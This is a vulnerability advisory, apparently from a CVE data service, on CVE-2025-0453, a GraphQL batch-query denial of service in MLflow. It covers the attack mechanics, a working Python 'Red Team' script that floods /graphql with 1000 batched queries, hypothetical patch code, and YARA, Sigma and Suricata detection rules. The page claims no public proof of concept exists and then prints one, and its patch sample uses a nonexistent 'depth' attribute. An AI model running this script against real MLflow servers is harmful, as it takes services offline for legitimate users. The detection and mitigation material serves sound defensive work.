CVE-2025-0453
Executive Summary
CVE-2025-0453 is a denial of service (DoS) vulnerability in MLflow version 2.17.2, specifically within the /graphql endpoint. An attacker can exploit uncontrolled resource consumption by sending large batches of GraphQL queries that repeatedly request all runs from a given experiment. This can exhaust all available workers, rendering the MLflow application unresponsive to legitimate requests. The vulnerability has a CVSS score of 5.9 (Medium) and is currently unpatched. No public proof-of-concept (PoC) code or exploit templates are available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 5.9 (Medium)
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): None (N)
- Integrity (I): None (N)
- Availability (A): High (H)
Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but it only impacts availability, not data confidentiality or integrity.
Deep Dive & Mechanics
The vulnerability resides in the /graphql endpoint of MLflow. GraphQL allows clients to request exactly the data they need, but it also enables batching multiple queries in a single request. An attacker can craft a batch containing numerous queries, each requesting all runs from a specific experiment. Since MLflow processes these queries concurrently, a large batch can consume all available worker threads, leading to resource exhaustion.
Root Cause: Uncontrolled resource consumption (CWE-400) due to lack of rate limiting or query complexity analysis on the GraphQL endpoint. The server does not limit the number of queries per batch or the depth/complexity of individual queries.
Attack Flow:
- Attacker identifies a publicly accessible MLflow instance.
- Attacker crafts a malicious GraphQL request with a batch of queries, e.g.,
[query1, query2, ..., queryN]where each query fetches all runs from an experiment. - The request is sent to
/graphql. - MLflow spawns workers to handle each query, exhausting the worker pool.
- Legitimate requests are queued or dropped, causing a denial of service.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the current implementation in MLflow 2.17.2. The GraphQL endpoint likely uses a standard GraphQL library (e.g., graphql-core) without additional safeguards.
Vulnerable Code (Conceptual):
# app.py (simplified)
from flask import Flask, request
from graphql_server import graphql
app = Flask(__name__)
@app.route('/graphql', methods=['POST'])
def graphql_endpoint():
data = request.get_json()
# No batch limit or query complexity check
result = graphql(schema, data)
return result
Patched Code (Hypothetical):
# app.py (patched)
from flask import Flask, request, jsonify
from graphql_server import graphql
from graphql import validate, parse
app = Flask(__name__)
MAX_BATCH_SIZE = 10
MAX_QUERY_DEPTH = 5
@app.route('/graphql', methods=['POST'])
def graphql_endpoint():
data = request.get_json()
if isinstance(data, list):
if len(data) > MAX_BATCH_SIZE:
return jsonify({'error': 'Batch size exceeded'}), 400
for query in data:
if not validate_query(query):
return jsonify({'error': 'Query too complex'}), 400
else:
if not validate_query(data):
return jsonify({'error': 'Query too complex'}), 400
result = graphql(schema, data)
return result
def validate_query(query):
try:
document = parse(query['query'])
if document.depth > MAX_QUERY_DEPTH:
return False
return True
except:
return False
Exploitation & Lab Setup
Red Team
Objective: Cause a denial of service on an MLflow instance.
Prerequisites:
- Python 3.x with
requestslibrary. - Target MLflow instance URL (e.g.,
http://target:5000).
Exploit Script:
import requests
import json
target = "http://target:5000/graphql"
batch_size = 1000 # Adjust based on worker count
# Craft a batch of queries requesting all runs from experiment 0
queries = []
for _ in range(batch_size):
queries.append({
"query": """
{
experiment(experimentId: "0") {
runs {
edges {
node {
runId
name
status
}
}
}
}
}
"""
})
# Send the malicious request
response = requests.post(target, json=queries)
print(f"Status: {response.status_code}")
print(f"Response: {response.text[:200]}")
Expected Outcome: The MLflow server becomes unresponsive to other requests for the duration of processing.
Blue Team
Detection:
- Monitor for sudden spikes in GraphQL request sizes.
- Alert on high number of queries per batch (e.g., >10).
- Track worker thread utilization; if all workers are busy for an extended period, investigate.
Mitigation:
- Implement rate limiting on the
/graphqlendpoint. - Enforce maximum batch size (e.g., 10 queries per request).
- Use query complexity analysis to reject expensive queries.
- Deploy a Web Application Firewall (WAF) with GraphQL-specific rules.
Indicators of Compromise (IOCs)
Network:
- High volume of POST requests to
/graphqlfrom a single IP. - GraphQL requests with batch sizes exceeding normal thresholds (e.g., >10 queries).
- Requests containing queries that fetch all runs from an experiment repeatedly.
- High volume of POST requests to
Logs:
- MLflow logs showing repeated
graphqlcalls with large batch sizes. - Worker pool exhaustion errors in application logs.
- MLflow logs showing repeated
System:
- High CPU/memory usage on the MLflow server.
- Increased latency or timeouts for legitimate API requests.
Detection Engineering
YARA Rule
rule CVE_2025_0453_MLflow_DoS {
meta:
description = "Detects malicious GraphQL batch requests targeting MLflow"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-0453"
strings:
$graphql_endpoint = "/graphql"
$batch_query = "query" ascii wide nocase
$experiment_id = "experimentId" ascii wide nocase
$runs_field = "runs" ascii wide nocase
condition:
# of ($batch_query) > 10 and
$graphql_endpoint and
$experiment_id and
$runs_field
}
Sigma Rule
title: MLflow GraphQL DoS Attack
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects large batch GraphQL requests to MLflow
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: mlflow
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/graphql'
cs-uri-query|contains: 'query'
condition: selection
timeframe: 5m
aggregation:
field: c-ip
function: count
condition: gt 100
falsepositives:
- Legitimate batch processing tools
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0453 MLflow GraphQL DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"/graphql"; http_uri; content:"query"; http_client_body; pcre:"/(query.*){10,}/"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Rate Limiting: Configure a reverse proxy (e.g., Nginx, HAProxy) to limit requests to
/graphqlper IP. - Batch Size Limit: Modify the MLflow application to reject GraphQL batches exceeding a small threshold (e.g., 10 queries).
- Query Complexity Analysis: Implement a middleware that calculates query complexity and rejects expensive queries.
Long-term Fix:
- Await an official patch from MLflow. Monitor the MLflow GitHub repository for updates.
- Consider upgrading to a newer version if a patch is released.
Workaround:
- Disable the
/graphqlendpoint if not needed, or restrict access to trusted IPs via firewall rules.
Monitoring:
- Enable detailed logging for the
/graphqlendpoint. - Set up alerts for unusual request patterns.
Valters IT